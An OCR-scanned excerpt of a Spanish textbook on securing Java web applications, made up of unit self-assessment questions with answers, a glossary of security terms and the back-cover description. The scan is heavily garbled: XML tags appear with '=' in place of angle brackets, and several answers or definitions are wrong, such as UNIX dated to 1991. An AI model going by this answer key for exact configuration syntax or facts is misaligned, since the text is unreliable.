5. ;Qué anotacion de la libreria JAX-RS define los roles permitidos para
gjecutar una determinada operacién de forma que si anotamos en una
clase JAX-RS, define el acceso para todas las operaciones HTTP definidas

en la clase JAX-RS y si anotamos un método JAX-RS, la restriceidn se
aplica solamente al método que se estd anotando?

d. @ RolesAllowed

6. ;Como se llama el paquete que define un conjunto de anolaciones para
definir metadatos de autorizacion en la especificacion JAX-RS?

a. javax.annotation.security

7. i(Cohmo se llama la interfaz (paquete + clase) con la cual podemos
construir una clase que actie a modo de filtro para validar que el usuario
tiene los permisos adecuados para realizar la peticion en la especificacion
JAX-RS?

¢. javax.ws.rs.container.ContainerRequestFilter

8. ;Comose llama la interfaz ( paguete +clase) con la cual podemos validar la
identidad del usuario gque realiza lainvocacion a un método proporeionando
sus credenciales de forma programatica en la especificacion JAX-RS?

b. javax.ws.rs.core.SecurityContext

9. :Qué método podriamos utilizar para determinar si el usuario que realiza
la llamada a un determinado método tiene ¢l rol ADMIN o no?

b. SecurityContext.isUserInRole(* ADMIN™)
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10.;Con qué etiquetas que hay que definir en el fichero descriptor de

despliegue{web xml) podemos especificar gué roles tienen permiso para
acceder mediante a la URL que definamos en dicho fichero?

d. <security-constraint= v <auth-constraint=

AUTOEVALUACION UNIDAD 4

JComo podemos garantizar el acceso de la aplicacion a los distintos
recursos usando mecanismos de autenticacion y autorizacion?

a. <security-constraints> / =auth-constraint>

. £0ué valores puede tomar el elemento <auth-method= como métodos de

autenticacion en JAVAEE?

b. FORM, BASIC, DIGEST, CLIENT _CERT

. El elemento <login-config= realmente NO "activa” la autentificacion. Por

defecto, cualquier cliente puede acceder a cualguier URL proporcionada
por nuesira aplicacién web sin restricciones. ;[ Qué elemento permite
forzar la autentificacion indicando el patron URL que queremos asegurar?

c. =url-pattern=

. (En qué elemento se pueden definir la URL de la pigina de login v la

URL de la pigina de error en caso de fallar el login?

a. =form-login-config>

. (Oué atributos permiten establecer seguridad en las cookies de tal forma

que solo se envien si se estd utilizando HTTPS?

c. HttpOnly v Secure

. tCudl es el nombre del realm que implementa Tomcat por defecto y

qué fichero utiliza para en el caso de que necesitemos una autenticacion
basada en formulario?

b. UserDatabaseRealm y TOMCAT PATH/conf/tomeat-users.xml

. ¢Cudles son los dominios de seguridad que hay por defecto en el servidor

de aplicaciones JBoss!

d. ManagementRealm y ApplicationRealm
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8. En el servidor de aplicaciones GlassFish se utiliza el fichero glassfish-
web.xml que permite asociar un rol con un determinado grupo de
usuarios. ;Cudl es la configuracion necesaria a nivel de etiquetas gue
permite asociar el rol "admin" con el grupo "group admin"?

a.. <security-role-mapping=>
=role-name=admin</role-name=
<group-name=group_admin</group-name=
</security-role-mapping=>

9. ;Cuiles son los dominios de seguridad que hay por defecto en el servidor
de aplicaciones GlassFish?

¢. admin-realm, certificate vy file

10.;Qué configuracidn es necesaria para indicar que la autenticacion se
realiza mediante certificado de forma segura mediante S5L7

d. <auth-method=CLIENT-CERT</auth-method=
<transport-guarantee>CONFIDENTIAL</transport-guaraniee=

AUTOEVALUACIGN UNIDAD 5

1. ;Qué mddulo de Spring Security es el encargado de gestionar la
autentificacion?

a. Authentication manager

2. Para implementar la seguridad con Spring es necesario indicarle al
contenedor de beans de Spring donde estd nuestro fichero de configuracion
de seguridad. ;De qué tipo es la clase que hay que implementar como
listener?

¢. org.springframework.web.context.ContextLoaderListener

3. ;Qué etiqueta definida dentro de la configuracion de spring security
indica mediante patrones aquellas urls que estan protegidas v los roles
que pueden acceder a cada uno de los recursos definidos?

b. intercept-url
4. ;Qué etiqueta definida dentro de la configuracidm de spring security
permite customizar la pagina de login para adaptarla a nuestros requisitos?

a. form-login
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5. ;Qué accion por defecto definida en Spring Security 3 permite invalidar
automaticamente la sesidn HTTP del wsuario logeado v redirigir al
usuario a una pagina de "salida"?
d. j_spring_security_logout

6. ;Qué método que se puede uwsar con el lenguaje de expresiones
SpEL{Spring Expression Language) permite comprobar si ¢l usuario
actual que se ha autentificado tiene uno de los roles especificados?

b. hasAnyRole(roll, rol2, ...)

7. iQué meétodo que se puede usar con el lenguaje de expresiones
SpEL(Spring Expression Languapge) permite comprobar si el usuario se
ha autentificado desde una IP determinada en formato ipv4?
¢. haslpAddress(direccion_ip)

8. ;(Como podemos afadir seguridad en las paginas ISP de forma que
podamos controlar si mostrar o no una determinada seccidon dependiendo
del rol del usuario que intenta acceder?

b. Empleando el taglib de Spring Security
=% taglib prefix="security"
uri="http://'www.springframework.org/security/tags™ %>

9. :Qué etiqueta permile especificar qué tipo de algoritmo de codificacion
se utiliza para cifrar la contrasefia del usuario ¥ qué atributo hay que
utilizar para indicar el algoritmo hash?

c. =password-encoder hash="algoritmo"/>

10.; En qué paquete de Spring podemos encontrar las implementaciones de
PasswordEncoder que tenemos disponibles para cifrar las contrasefias
que van en el fichero de configuracion spring-security. xml?

d. org.springframework.security.authentication.encoding
AUTOEVALUACIGN UNIDAD 6

1. ;Cudl de las siguientes tarcas se lleva a cabo por el framework JAAS?
a. Autenticacion y Autorizacidn

2. ;Cual de las siguientes afirmaciones es verdadera sobre el framework

TAAST
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d. Durante el proceso de autorizacion se crea una instancia a través
de un objeto de la clase PrivilegeAction.

3. ;Cual de los siguientes paguetes consta de clases e interfaces que pasan
informacion de autenticacion para una aplicacion mediante la invocacion
de un vinculo entre la aplicacion y servicio de seguridad?

b. javax.securitv.auth.callback

4. ;Cual de las siguientes afirmaciones representa la necesidad de que ¢l
CallBack-Interfaz Handler?

¢. Cuando el modulo necesita notificar al usuario de ciertos eventos
durante el proceso de autenticacidn.

5. ;Cudl de las siguientes afirmaciones es verdadera acerca de la clase
LogimContext?

d. La clase LoginContext se refiere a varias instancias LoginModule
para una aplicacidon particular.

6. ;Cudl es v donde se localiza el truststore por defecto que se utiliza al
invocar a un recurso HTTPS desde Java?

a. SJRE HOME/lib/security/cacerts

7. ;Qué método de los siguientes se usa para aceptar peticiones de clientes
por parte de un servidor SSL en la clase SSLServerSocket?

a. accept()

8. ;Cual de las siguientes afirmaciones acerca de una operacion de S5L
handshake es cierta?

b. El cliente y el servidor generar claves de sesion utilizando una
master secret Key.

9. :Qué Nag del mbdulo de autenticacion de JAAS permite que ¢l modulo
login tenga que tener éxito para que el login completo tenga éxito e
incluso si falla se consulta a otros médulos de login?

a. Required

10.En ¢l caso de que queramos implementar nuestro propio loginModule,
;0ué métodos tendriamos que implementar correspondientes a la interfaz
Javax.security.auth spi.LoginModule?

c. initialize(), login(),.commit().abort()
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AUTOEVALUACIGN UNIDAD 7

;iCudles de las siguientes son herramientas de seguridad dentro del
ecosistema de Java?

a. Keyvtooljarjarsigner,Policy tools

. (Cudles de los siguientes métodos tenemos disponibles dentro de api

Security para obtener informacion sobre los proveedores de seguridad
instalados en el sistema?

b. Provider|| getProviders(),Provider getProvider(String name)

. A0ué comando podemos utilizar para generar nuestro propio certificado

con la herramienta keytool?

a. keytool -genkey -kevstore myStore

. Cual de las siguientes opeciones del comando keytool se usar para generar

el par de claves piablica y privada?

b. genkey

o (Cudl de las siguientes sentencias es cierta sobre ¢l comando jarsigner?

a. La herramienta jarsigner utiliza el certificado v la informacion
del almacén de claves para firmar archivos JAR.

. Cudl es el paquete core del proveedor SunJCE?

b. javax.crypto

. Un paquete de datos firmado por un usuario A se transmite a un usuario

B. ;Como puede determinar el usuario B que la  eclave puablica
utilizada por A realmente pertenece dicho usuario?

c. Mediantes certificados de clave piblica y autoridad de certificacion

. Para generar un objeto MessageDigest donde cualquier proveedor puede

sumninistrar el algoritmo dado, ;cual de las siguientes afirmaciones usaria?

c. public static MessageDigest getInstance(String algorithm) throws
NoSuchAlgorithmExeeption

. £0ué método de la clase java.---security.cert. X509CRL podemos obtener

la lista de certificados revocados(CRL) de forma que recorriendo esta
lista podemos obtener para cada certificado revocado,el serial number y
la fecha de revocacion?
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c. XS509CRL.getRevokedCertificates();

10.; Qué método de la clase KeyStore nos permite recuperar la clave privada

de un certificado si pasamos por pardmetro el alias v el password del
certificado?

d. PrivateKey clavePrivada = (PrivateKey)keystore.getKey(alias
Certificate, passwordCertificate);

AUTOEVALUACIGN UNIDAD 8

i Oué sistema trata de medir la gravedad de una vulnerabilidad en tres
dreas o métricas que permiten evaluar el riesgo que representa una
vulnerabilidad?

a. Common Vulnerability Scoring System(CV55)

o pQué sistema provee de una base de datos de vuloerabilidades que

pretende relacionar nombres comunes con los fallos conocidos de forma
publica facilitando asi ¢l intercambio de datos ¢ informacion entre las
diferentes herramientas, bases de datos v servicios?

c. Common Vulnerabilities and Exposures(CVE)

. L0ué tipo de prueba esta relacionada con aquella donde el auditor de

seguridad posee acceso al codigo fuente de la aplicacion, manuales de
usuario, configuracidn del servidor web v acceso a la aplicacion en si
misma?

a. White box (Caja blanea)

. f0ué tipo de prueba estd relacionada con aquella donde el auditor de

seguridad no tiene acceso al codigo fuente de la aplicacidn ni se tiene
ningin conocimiento acerca de la aplicacion o de los sistemas con los
cudles estd integrada?

b. Black box (Caja negra)

o £Qué tres herramientas nos permiten interceptar ¥ modificar en tempo

real las peticiones HTTP que hacemos a una aplicacién web?

d. Burp Suite, Zed Attack Proxy, WebScarab

. £0ué herramientas nos sirve tanto como scanner de vulnerabilidades web

como explotacion de las mismas?
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b. W3af

o fQué tipo de andlisis se centra en estudiar las vulnerabilidades de

seguridad desde el punto de vista de un atacante externo?

c. Black box {Caja negra)

. (En gqué consiste el andlisis basado en caja gris?

d. consiste en una mezcla de los andlisis de caja negra y blanca donde
los auditores tienen una posicién aproximada a la de un atacante,
pero con la ventaja de que pueden identificar con mias facilidad
aquellas partes mds criticas.

. £0ué herramienta podemos encontrar para realizar auditorias de seguridad

sobre aplicaciones Java?

a. LAPSE (Lightweight Analysis for Program Security in Eclipse)

. Qué herramienta consiste en una aplicacion web con distintos tipos de

vulnerabilidades y tiene como finalidad la de practicar con las principales
vulnerabilidades que podemos encontrar en aplicaciones web como SQL
injection o Cross site scripting?

c. WebhGoat
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~ GLOSARIO DE TERMINOS

AAA:  Acronimo  de  “authentication, authorization, and accounting”
{autenticacion, autorizacion y contabilizacion). Protocolo para autenticar a un
usuario basdndose en la identidad verificable del usuario, autorizar a un usuario
basindose en sus derechos de usuario y contabilizar el consumo de recursos de
una red de un usuario.

AES: Abreviatura de “Advanced Encryption Standard™ (norma de cifrado
avanzado). Cifrado por blogues utilizado en la eriptografia de clave simétrica que
adoptd el NIST en noviembre de 2001 como U.S. FIPS PUB 197,

API: “Application Programming Interface™ - es una interfaz a través de la cual
una aplicacién puede solicitar servicios de librerias o sistemas operativos.

Algoritmo de eifrado: También denominado “algoritmo  eriptografico™.
Secuencia de instrucciones matemdticas usadas para transformar textos o datos
no cifrados en textos o datos cifrados y viceversa.

Anilisis de riesgos: Proceso que identifica los recursos valiosos de un sistema y
sus amenazas; cuantifica la exposicion a pérdida segin frecuencias estimadas y
costos derivados por siniestros; y, opcionalmente, recomienda el modo de asignar
recursos como medidas preventivas que minimicen el indice total de exposicion.

Aplicacibn web: Una aplicacién a la que generalmente se accede mediante un
explorador web o a través de servicios web. Las aplicaciones web pueden estar
disponibles a través de Internet o en una red privada e interna.

Atague man-in-the-middle: Es un atagque en el que el enemigo adquicere la
capacidad de leer, insertar y modificar a voluntad, los mensajes entre dos partes
sin que ninguna de ellas conozea gue el enlace entre ellos ha sido violado.
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F Autenticacidén: Proceso para verificar la identidad de un individuo, dispositivo
o procese. Por lo general, la antenticacidn ocurre a través del uso de uno o mds
factores de autenticacidn.

F Autorizacion: En el contexto del control de acceso, la autorizacion es el
otorgamiento de derechos de acceso u otros derechos similares a un usuario,
programa o proceso, La autorizacion define lo que un individuo o programa
puede hacer después de un proceso de autenticacion satisfactorio.

F Certificado: Coleccidn de datos utilizados para la autenticacion y el intercambio
seguro de informacion en redes no seguras. Un certificado enlaza de forma segura
una clave de cifrado pablica a la entidad que mantiene la clave de cifrado privada
correspondiente.

F Cifrado: Proceso para convertir informacion en un formato ilegible, a excepeion
de los titulares de una clave criptogrifica especifica. El cifrado se utiliza para
proteger la informacion entre el proceso de eifrado y el proceso de descifrado (lo
contrario del cifrado) de la divulgacion no autorizada.

F Cookie: Cookie es un pequefio fichero guardado en el ordenador del usuario
final v accesible por la aplicaciéon Web. Sirve para guardar la informacién del
usuario como datos de login o navegacion u otros identificadores del usuario. Esta
informacion se suele guardar en el ordenador después de la primera integracidn
del usuario con la aplicacion Web.

F Confidencialidad: Propiedad de la informacidn por la que se garantiza gue esta
accesible inicamente a entidades autorizadas.

F Consultas basadas en parametros: Un medio de estructuracidén de consultas
SQL para limitar un escape v, por lo tanto, impedir ataques de inyeccion.

F Consultas parameirizadas (prepared statements): Mantiene la consulta y los
datos separados a través del uso de marcadores. La estructura de la consulta es
definida utilizando marcadores, la consulta SQL es enviada a la base de datos
y preparada, para luego ser combinada con log valores de los pardmetros. Esto
previene la inyveccion de codigo SQL en las consultas debido a que los valores de
los parimetros son combinados con la consulta compilada v con el string de SQL.

F Contrasefa: Una serie de caracteres que autentican la identidad del usuario.

F Clave criptogrifica: Valor que determina el resultado de un algoritmo de cifrado
al transformar texto simple en texto cifrado. En general, la extension de una clave
determina la dificultad para desciftar el texto de un determinado mensaje.
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F Clave de sesion: Clave utilizada para cifrar o descifrar datos valida solamente en
un periodo de tiempo determinado. También puede ser vilida en un determinado
namero de comunicaciones.

F Criptografia: Disciplina matematica e informatica relacionada con la seguridad
de la informacidn, particularmente con el cifrado v la autenticacion, En cuanto a
la seguridad de aplicaciones y redes, es una herramienta para ¢l control de acceso,
la confidencialidad de la informacion y la integridad.

F Dominio: Un nombre de dominio es un identificador tnico ligado a una entidad
cuyos ordenadores estdn conectados a la red de Intermnet, El sistema es jerdrquico
y permite definir subdominios,

F Errores de inyeccidn: Estado de vulnerabilidad gue se crea por métodos de
codificacion poco seguros, vy que tiene como resultado una validacion de entradas
inapropiada, que permite a los atacantes transferir codigo malicioso al sistema
subyacente a través de una aplicacion web. En esta clase de vulnerabilidades se
incluye la inyveccidn SQL, la inyeccién LDAP y la inyeccion XPath.

F Falsificacion de peticion en sitios cruzados (CSRF): Una aplicacion externa o sitio
web fuerza a un cliente a realizar un pedido a otra aplicacion en la que el cliente posce
una sesion activa. Las Aplicaciones son vulnerables cuando utilizan pardmetros o
URLs predecibles o conocidas v cuando el navegador transmite automaticamente
toda la informacion de sesion con cada pedido a la aplicacion vulnerable.

F Framework: El Framework de software es un disefio reutilizable para un
sistema de software, que puede incluir librerias de codigo, programa de soporte
o lenguaje de scripts para ayudar en el desarrollo de los diferentes componentes
de un sistema software. Es una estructura conceptual y teenoldgica de soporte
definida, normalmente con artefactos o modulos de software concretos, con base
en la cual otro proyecto de soflware puede ser organizado y desarrollado.

F HTTP: “Hypertext Transfer Protocol™ es un protocolo de red de nivel de
aplicacion, utilizado para transacciones de la Web.

F HTTPS: Acrdnimo de “hypertext transler protocol over secure socket layer”
(protocolo de transferencia de hipertexto a través de una capa de conexidn
segura). HTTP seguro que proporciona autenticacion vy comunicacion cifrada en
la World Wide Web disefiado para comunicaciones gue dependen de la seguridad,
tales como los inicios de sesion basados en la web.

F layeccion SQL: Tipo de ataque a sitios web basados en bases de datos, Una
persona malintencionada gjecuta comandos SQL no autorizados aprovechando
cOdigos inseguros de un sistema conectado a Internet. Los ataques de inyeccidn
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SQL se utilizan para robar informaciom normalmente no disponible de una base
de datos o para acceder a las computadoras host de una organizacion mediante la
computadora que funciona como servidor de la base de datos.

F JAVA: Lenguaje de programacion orientado a objetos, desarrollado por Sun
Microsystems a principios de los afios 90,

F JavaSeript: Esun lenguaje de seript, orientado a objetos, utilizado principalmente
en paginas weh para construir el contenido dinamico v una interfaz de usuario
mejorada.

F JCE: Extensidén Java para criptografia. APl que se utiliza para desarrollar
programas que utilizan cifrado de clave secreta v de clave piblica

F J2EE: “Java 2 Enterprise Edition™ es una plataforma para la programacion del
servidor en lenguaje Java. Plataforma de programacidn que sirve para desarrollar
y ejecutar software de aplicaciones en el lenguaje de programacion Java, con
arquitectura de N capas distribuidas y que se apoya ampliamente en componentes
de software modulares.

F JDBC (Java Database Connectivity): APl que permite la ¢jecucion de
operaciones sobre bases de datos desde el lenguaje de programacion Java,
independientemente del sistema operativo donde se ejecute o de la base de datos
a la cual se accede, utilizando el dialecto SQL del modelo de base de datos que
s¢ utilice.

F JDK (Java Development Kit): Sofiware que provee herramientas de desarrollo
para la creacion de programas en Java. Puede instalarse en una computadora local
o en una unidad de red.

F JKS (Java KeyStore): Estandar de Java generado por la keviool mediante linea
de comandos. Incluido dentro de JDK.

F ISP (JavaServer Pages): Tecnologia Java que permite generar contenido
dindmico para web, en forma de documentos HTML, XML o de otro tipo.

F JSSE (Java Secure Socket Extension): Conjunto de paguetes de java provistos
para la comunicacién segura en Internet Implementa una versidon Java de los
protocolos SS5L y TLS, ademds incluye funcionalidades como cifrado de datos,
autenticacion del servidor, integridad de mensajes v autenticacion del cliente,

F JSTL. (JavaServerPages Standard Tag Library): Se utilizard la definicion de
la biblioteca estdndar de etiquetas para la capa de presentacion de las piginas Web
del portal VGN, encapsulando funcionalidad bésica comin a muchas aplicaciones
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Web como son soporte para las tareas comunes, estructurales (como la iteracion
v los condicionales), etiquetas para manipular documentos XML, etiquetas de
internacionalizacidn, entre olras.

F JVM (Maquina virtual Java): Maguina virtual de proceso nativo, es decir,
ejecutable en una plataforma especifica, capaz de interpretar v e¢jecutar
instrucciones expresadas en un codigo binario especial (el bytecode Java), el cual
es generado por el compilador del lenguaje Java.

F Keystore: En el lenguaje de programacidn Java, es la base de datos de claves
privadas v sus certificados asociados.

F Kevtool: Programa incorporado en el Java Runtime Environment (JRE) para la
oestion de claves y cerlificados.

F LDAP: Acronimo de “Lightweight Directory Access Protocol” (protocolo ligero
de acceso directo). Repositorio de datos para la autenticacién vy aulorizacion
destinado a las consultas y modificaciones relativas a penmisos de usuario v al
olorgamiento de derechos de acceso a recursos protegidos.

F OWASP: Acrénimo de “Open Web Application Security Project” (Guia para
proyectos de seguridad de aplicaciones web abiertas). Es una organizacion sin fines
de lucro especializada en mejorar la seguridad del sofiware de aplicacion. OWASP
mantiene una lista con las vulnerabilidades mas criticas de las aplicaciones web.

F OpenSSH (Open Secure Shell): Conjunto de aplicaciones que permiten realizar
comunicaciones cifradas a través de una red, usando el protocolo S5H.

F Open Source: Codigo abierto, es el término con el que se conoce al soltware
distribuido v desarrollado libremente. El cddigo abierto tiene un punto de vista
mas orientado a los beneficios pricticos de compartir el cédigo que a las cuestiones
élicas y morales las cuales destacan en el llamado software libre.

F OpenSSL: Consiste en un robusto paquete de herramientas de administracion
y bibliotecas relacionadas con la criptografia, que suministran funciones
criptograficas a otros paguetes como OpenSSH y navegadores web (para acceso
seguro a sitios HTTPS).

F PKCS: “Public-Key Cryptography Standards™ son especificaciones producidas
por RSA con el fin de acelerar el despliegue de criptografia de clave piblica.

F PKCS12: Estiandar de sintaxis de intercambio de informacion personal.

F PKI (Public Key Infrastructure): Combinacién de hardware vy software,
politicas v procedimientos de seguridad que permiten la ejecucion con garantias
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de operaciones criptogrificas como el cifrado, la irma digital o el no repudio de
transacciones clecirdnicas.

F Politica de seguridad: Conjunto de leyves, reglamentos v practicas que regulan
el modo en una organizacion administra, protege y distribuye informacion
confidencial.

F Protocolos de seguridad: Protocolos de comunicaciones de red disefiados para
asegurar la transmision de datos. Algunos gemplos de protocolos de seguridad
son, sin limitarse a, SSL/TLS, IPSEC, 85H, etc.

F RSA: Es un algoritmo criptogrifico de clave pablica, descrito por Rivest, Shamir
y Adleman vy frecuentemente utilizado en comercio electronico.

F Servidor: Computadora que presta servicios a otras computadoras, como el
procesamiento de comunicaciones, almacenamiento de archivos y acceso a
impresoras. Los servidores incluyen entre otros: web, base de datos, aplicaciones,
autenticacion, DNS, correo, proxy y protocolos NTP.

F Servidor proxy: Servidor que funciona como intermediario entre una red interna
e Internet. Por ¢jemplo, una funcidén de un servidor proxy es finalizar o negociar
las conexiones entre las conexiones internas y externas, de manera tal que cada
una solamente se comunica con el servidor proxy.

F Servidor web. Computadora con un programa capaz de aceptar pedidos HTTP
de clientes web y brindar respuestas HTTP (en general, piginas web).

F SHA (Algoritmo de Hash Seguro): Sistema de funciones hash criptograficas
relacionadas de la Agencia de Seguridad MNacional de los Estados Unidos y
publicadas por ¢l National Institute of Standards and Technology (NIST).

F Socket: Un socket en redes se define como un extremo de comunicacion, entre
un cliente ¥ un servidor.

F SQL: Acronimo de “Structured Query Language™ (Lenguaje de consulta
estructurado). Lenguaje informdtico utilizado para crear, modificar v recuperar
datos de sistemas de administracion de bases de datos relacionales.

F SS5H: Abreviatura de “secure shell”. Conjunto de protocolos que proporcionan
cifrado de servicios de red, como mnicio de sesion remoto o transferencia remota
de archivos.

F S5L: "Secure Socket Layer” es un protocolo eriptogrifico para proveer conexiones
seguras sobre redes como Internet.
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F Seguridad de Base de Datos: Conjunto de controles que aseguran la inleraccion
del solftware con la base de datos de una forma segura y que la base de datos se
encuentra configurada de forma segura.

F Tarjetas de pago: En lo que concierne a las PCI DSS, toda tarjeta de pago o
dispositive que lleve el logotipo de los miembros fundadores de las PCI 58C:
American Express, Discover Financial Services, JCB International, MasterCard
Waorldwide o Visa Inc.

F TCP: Acronimo de “Transmission Control Protocol™ {(protocolo de control de
transmision). Uno de los protocolos de capa de transporte centrales del conjunto
de Protocolo de lnternet (1P), v el lenguaje comunicative o protocolo bisico de
Intemnet.

F TLS: Acronimo de “transport laver security™ (seguridad de capa de transporte).
Disefiado para brindar integridad y confidencialidad de datos en la comunicacion
entre dos aplicaciones. TLS es el sucesor de S5L.

F Token: Es un dispositivo electrénico de seguridad, que se entrega al usuario
autorizado para permitirle realizar el proceso de autenticacion. En el contexto de
las autenticaciones v del control de acceso, un token es un valor proporcionado
por un hardware o software gue suele funcionar con un servidor de autenticacion
o VPN para realizar autenticaciones dindmicas o de dos factores.

F Usuario con privilegios: Cualquier cuenta de usuario que posee privilegios de
aceeso que superan los privilegios bdsicos. Por lo general, estas cuentas tienen
privilegios mayvores con mas derechos que una cuenta de usuario estandar,

F UNIX: Es un sistema operalivo multitarea, desarrollado en el afio 1991, por los
investigadores del laboratorio Bell de AT&T.

F URL: Acronimo de “Uniform Resource Locator”™ (localizador uniforme de
recursos). Una cadena de texto con formato que utilizan los exploradores web, los
clientes de correo electronico v otro tipo de software para identificar un recurso
de red en Internet.

F Validacion de entrada: Conjunto de controles que verifican que las propiedades
de los datos ingresados coinciden con las esperadas por la aplicacién, incluyendo
tipos, largos, rangos, conjuntos de caracteres aceptados excluvendo caracteres
peligrosos conocidos.

F XML: “Extensible Markup Language™ es un lenguaje extensible de etiquetas
desarrollade por World Wide Web Consortium W3IC, gue se propone como
estandar para el intercambio de informacion entre plataformas heterogéneas.
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Seguridad en aplicaciones Web Java

Java es uno de los lenguajes de programacion mas utilizados a nivel
empresarial a la hora de desarrollar aplicaciones de gestion con buenos niveles
de escalabilidad y disponibilidad. Ademas de tener solidos conocimientos
en programacon onentaca a objetos y arquitectura de software, desde el
o Ul“lf"} de vista de la segundad, aguellos gue buscan desarrollar una carrera
profesional con tecnologias open source, es Necesarno conocer un conjunto
de buenas practicas a la hora de crear aplicaciones web.

El objetivo de este libro es ensenar los principales criterios y buenas practicas
para crear aplcaciones web de forma sequra en Java. Ademas comentaremos
los aspectos de seguridad en las diferentes etapas del desarrollo de
aplicaciones web en Java, alineadas a las buenas practicas propuestas por
WASP (Open Web Application Security Project | y en particular el top ten
de vulnerabilidades que podemos encontrar en aplicaciones web Veremaos
como configurar la sequridad de nuestras aplicaciones en los principales
servidores de aplicaciones del mercado v detallaremos los pasos a sequir para
implementar mecanismos de sequridad con el framework Spring Security

Con el cbjetivo de desarrallar aplicaciones web seguras utilizando |a
especificacion Java Enterprise Edition (J2FF}, se estudiaran los mecanismos

de clave publica, privada y firma digital que proporcionen servicios de

encriptacion, desencriptacién, autentificacion y comunicacion sequra

Ellibro contiene material adicional que podra descargar
accediendo a la ficha del libro en www.ra-ma.es.
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